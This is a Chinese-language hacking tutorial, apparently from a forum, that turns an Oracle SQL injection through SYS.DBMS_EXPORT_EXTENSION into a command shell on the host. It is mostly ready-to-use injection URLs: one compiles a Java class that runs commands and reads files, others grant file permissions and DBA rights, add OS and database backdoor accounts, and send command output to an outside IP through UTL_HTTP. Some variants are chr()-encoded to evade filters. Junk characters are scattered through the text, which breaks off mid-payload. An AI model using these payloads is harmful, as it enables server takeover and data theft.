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8 O) _6 l$ ]/ F3 K. C4 e2 k介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。; w1 z: k' u7 a% Q+ B0 {) D
, n) K4 B" O1 J) W1 K以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)# w) R P- p3 P( e6 G/ a' z* d
7 P9 C. A5 I; \的形式即可。(用" 'a'|| "是为了让语句返回true值)# B: s0 V- y+ c
7 U$ a) A: i4 l9 ]语句有点长,可能要用post提交。8 p$ l5 \- i6 |& L1 t
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以下是各个步骤:
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: W1 R+ O/ [% U1.创建包2 U1 k4 G" \6 |5 i% Z3 s7 T( n( w/ \2 [5 Q
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:' X5 P7 `$ o; d. W
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/xxx.jsp?id=1 and '1'<>'a'||(1 } |1 v1 J; O0 x. h5 N, G
7 z7 f8 R2 C' aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 h3 o: X8 {+ K- _; ocreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(9 U+ a1 x3 `' t
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
" s! ?5 x) L9 ^8 |8 L}'''';END;'';END;--','SYS',0,'1',0) from dual
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如果url有长度限制,可以把readFile()函数块去掉,即:3 u9 O* ^0 M5 P$ D/ o8 @4 {5 O
/xxx.jsp?id=1 and '1'<>'a'||(3 d R+ E' a+ y% v& R N5 i+ ?
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# F3 F: ?/ d: e& p
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
. Z0 z0 I( S! F/ V1 I, r: xnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
8 x2 r; D6 `- _% Z0 F- M}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。' o4 O! r' i5 B% m# T
------------------------------
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2.赋Java权限* b V+ B: B4 H9 ?4 a5 D4 E
1 w6 E6 |6 Z5 x+ b/ R. Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual+ K* _* t8 V' ~" v7 z
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3.创建函数/ _' d! F; j/ _5 [ e6 a
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 Y) K( I! s! Rcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 y% v) u& Q0 ]9 F, n
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限5 y: i- [/ u+ ]5 a6 n" A0 j& ~$ F# X
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual5 Y& y4 e4 T8 Z6 H! V9 d' q: j2 o, r
9 V' T+ p, V7 B& @4 j) ^+ u: _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual5 M$ U3 v$ O6 z4 {; {
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3 X" |2 V) \0 G" B5.测试上面的几步是否成功
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and '1'<>'11'||(. D7 N5 F: k/ {4 I9 ^8 q
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'; I6 F) K1 ^# N8 j) h. r6 _* U
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and '1'<>(
& A1 ^: r4 s+ c3 [. a: E7 E: S6 c( B- _* gselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:
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" f, F7 I: d' n. W' D1 y' X, v2 b/xxx.jsp?id=1 and '1'<>(
2 @5 r. U6 F7 U' C5 Z% Y) Iselect sys.LinxRunCMD('cmd /c net user linx /add') from dual8 }, S: Q3 M9 P# |# `( ?1 S) j1 X
)
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/xxx.jsp?id=1 and '1'<>(* ^3 R5 F! Q2 U- `. y$ ~
select sys.LinxReadFile('c:/boot.ini') from dual# J$ I/ t+ k3 g3 O1 M$ E
)
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8 H! Z# L" j& L+ H注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
0 Y/ S! r- g! q, H* n: T! [3 b如果要查看运行结果可以用 union :1 {* x+ P. P2 B
5 Q3 u3 a" }' I, z/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual5 R' x! X0 d4 }; @
/ h+ B& N& ~1 `' t或者UTL_HTTP.request(:0 i! c2 B e$ i( n
) U3 T. M/ V/ o& J4 R! m/xxx.jsp?id=1 and '1'<>(4 a }9 a2 U% Q' A: B3 U/ ^0 L
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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/ k. u" V+ ]$ f4 _0 r3 p3 x2 X6 Z/xxx.jsp?id=1 and '1'<>(
) E4 T% {3 A1 R8 f# N( XSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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1 _* B& Y( c1 x. M3 \注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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--------------------: ]5 y4 M: c4 I6 P* E
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6.内部变化
* S- B! n0 Q' \通过以下命令可以查看all_objects表达改变:2 h/ B' b* b$ f2 ~+ d
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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0 k9 F% Y; J L" w1 w* _8 |7.删除我们创建的函数
/ q+ O9 N, N0 Q. Z7 yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' Y; B4 e: N% O* Y1 y8 Q5 `) Y
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual8 [9 G b# ?9 v- u" S8 `$ ?
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====================================================! c; j9 Y! H5 c
全文结束。谨以此文赠与我的朋友。
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& s8 H6 K* J: t2 k% zlinx! g6 h8 S4 H, ]
124829445
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% K7 U& i1 P& ~: p* c7 q6 p2 f0 Xlinyujian@bjfu.edu.cn
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) \3 N# Z) o+ ]6 c======================================================================3 h9 [: p, o) _9 J2 v; p
& |6 W* W6 u$ f测试漏洞的另一方法:
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创建oracle帐号:4 }! y$ C/ |. a! ]* T( S! F4 | j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ v- ^* o* b8 r2 @CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual% G/ R, r1 e/ e! p" x: o
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即:" z8 ?0 i$ B1 R2 M3 _, n6 {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
! N$ y$ b( q) O; |7 Ichr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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" J+ x7 r4 a0 F* c( H确定漏洞存在:4 C+ H0 B* a ^ e( j( Y, t
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select user_id from all_users where username='LINXSQL': j' N& w3 s; u$ \ @ x
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给linxsql连接权限:
6 W) O5 g7 o5 W% r8 w2 j, Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; L: @4 v) x$ A) j o. EGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual8 h: G: i0 ]- m9 p
& `$ k7 c6 T$ R3 v删除帐号:5 p$ [/ z8 _. {' R3 w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 f7 L, n! D% H7 H* ?- p. Z8 Sdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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Y3 I$ c$ P- x' Q======================& ?5 Y5 R! ^- |
" E8 F! ?" i# P* [* k! g: G4 M以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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; Y' A2 k; c( h( `- D1.jsp?id=1 and '1'<>() Z4 o2 C+ B9 x G4 K3 F6 ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- b( I$ J3 U! |0 F) C, Z8 C7 i
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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/ l1 G* l! R A) c7 r0 H1.jsp?id=1 and '1'<>(4 \% o% `" @: O4 C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
( N/ V0 r- o1 D$ T1 b7 F( \0 R; Z& ]) and ...+ a/ @' F$ O8 p8 F, M. l- }6 G# E m7 v
. v, y, F, U1 l( W/ I2 q9 `1.jsp?id=1 and '1'<>(4 T K! L5 ]* |
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL& C2 \3 N, T4 v6 {7 W# d4 K
) and ...
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1.jsp?id=1 and '1'<>(; c' ?+ v' S! b% ^* L: x
SELECT sys.Linx_Query('declare pragma
( z: _; e" r! Z4 G2 c# Tautonomous_transaction; begin execute immediate ''
$ B, m6 Z8 J& a5 _select 1 from dual
. W, l9 m/ T; k E3 |/ V9 [''; commit; end;') from dual' v$ \, e/ z* P* A! d) u' v/ x
) and ...
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( H5 l4 ^) o5 z6 I! _; e( }多语句:( X% o; Q- a& l
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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2 I6 l7 \% t2 h/ ]: u% v! _$ r9 U创建用户(除非当前用户有system权限,否则无法成功):5 m' o* f7 J! z" c
SELECT sys.Linx_Query('declare pragma
3 v* `% n% Y( l) `5 s0 e/ Mautonomous_transaction; begin execute immediate ''
$ q1 ?' _1 p2 R/ p- `9 qCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User0 F& ~- K, T4 ?: r4 [! A
''; commit; end;') from dual
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================
( u! F9 p# C& J# q. e8 ?9 Z以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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) I5 z, Y% P9 D& n+ t0 z1.创建函数
. M; ~6 f5 B4 {( `! xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 v4 a! x3 E4 n* ], m \% b
create or replace function Linx_Query (p
: j& {2 z1 v: g) C: C2 Cvarchar2) return number authid current_user is begin execute immediate
2 z8 B9 G l) Q) Tp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;2 O0 X) L; W( N$ l" e
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如果有权限,以下语句应该允许正常4 n3 g) @1 Z! {: `% P
select sys.linx_query('select 1 from dual') from dual;- x+ x3 O# m% K7 R
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不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. Q& `: a U. }
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual1 J1 I5 Z8 B% ]7 _9 b; E5 _; [
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2.创建包
5 [( q6 t9 o0 ]/ _. jSELECT sys.Linx_Query('declare pragma
: [9 ?6 @" B9 m7 I& k$ z3 j4 Rautonomous_transaction; begin execute immediate ''
% b% [" G2 ]$ X; Z* r3 G/ V: d8 hcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
& \$ w0 h8 d1 ~3 dnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual# f( f! w" R/ P" y; T
9 R6 v8 n& D& Y3 [ f3.创建函数
; K( z: |; Z$ R7 g3 M0 @SELECT sys.Linx_Query('declare pragma
A5 E' E6 q" E& U! x. L jautonomous_transaction; begin execute immediate ''4 z4 K$ |. x0 r. T* n
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
0 X: Y% i+ U& u- l1 ?" @: ^( w! a$ i( c; n5 u$ M- R5 T0 m
4.给权限
: g/ h6 a. L; X3 y4 W- T- z, p+ X给用户SYSTEM执行权限:
. v0 k+ F! X: e, T& J7 [
4 F: X2 n. B& w% Y; XSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
8 A2 [3 ]8 k& x8 O I ?6 Y! C# B( w; T) M
: q1 t. A0 C1 b5 ^! u1 N
0 W9 g: w/ u, X( Q( b. l+ m5.执行函数
3 C. A$ T! ^. H2 Aselect RunCMD2('cmd /c dir') from dual2 r7 G& U1 t5 ^% a) h( k+ n5 O' N
2 R1 Z" a4 `. J* k1 S9 p3 r) Y2 M, g! ^4 }1 H; G& z
5 I0 a f# t6 J
( k- R0 \0 b$ Y- n- ^" u
2 B& M3 `* O# ], Z8 m, Q==================
0 G8 q1 c; G$ r" g/ ^5 `" I4 b================================- c& @" Z# S+ N. c9 I' i
8 t+ J7 v0 Y3 \5 r! K% X" t! ^以下是无 " ' " 版:
2 M3 S3 A2 ?% H' f. F
+ a# k4 y; r$ ]% p2 i, k3 r; g以下是各个步骤:9 j2 m0 ]$ E/ Q" Q+ C9 n
. b- {0 ^. G+ b, X; a
1.创建包6 y8 Q% b" s3 P D
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:7 q) @) h$ z( T- N: Z5 ]9 G2 Z O
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
- i7 L8 B# T o% ~0 M0 B3 K
4 e; l) b; L, w3 Q! r& y* x0 N/xxx.jsp?id=1 and chr(49)<>chr(50)||(
7 f' I& ~6 }# y, J' v
6 X% I( s6 n* F. Z' Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 M1 {! A% r. a# E5 n4 U( hchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
7 p$ T/ N. j' k& m1 A8 {chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||" k# R0 ]' } X: v# W
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||! i' [ X3 R1 x
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
* E# b% z- N# Schr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
+ Q& e2 s$ Y* \! r" X/ cchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)|| J7 o# r ^, B& r- s
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||" C& C. M. m8 p: L8 \
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||% I# u1 k) \; p0 l, C+ Q" _
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
9 a2 m& p+ l; x6 Z# Achr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)|| n4 k3 Z. q; Q6 C4 Z+ J1 B: e8 @
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
3 x0 \- e7 P& p# C5 Hchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
- I/ U5 }+ E' F' y2 {+ fchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||% S( p' t! M1 [! w
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
% u" M- n) V6 ^+ H2 |, Dchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||' m" n. z7 l/ u# i
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
. N# Y! Q7 b; Z9 p p2 Kchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)|| B- a7 h; o' j# f
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||! V! f8 m2 L5 i9 u6 K
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
, {/ H, `* d1 s& K0 s6 ~" E! `chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
9 d$ S5 B; O6 L5 B+ [! y* P8 vchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
" C7 g7 g5 }3 Z2 x! a. l4 ochr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||) b; h* |) m, H8 o/ m! U
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
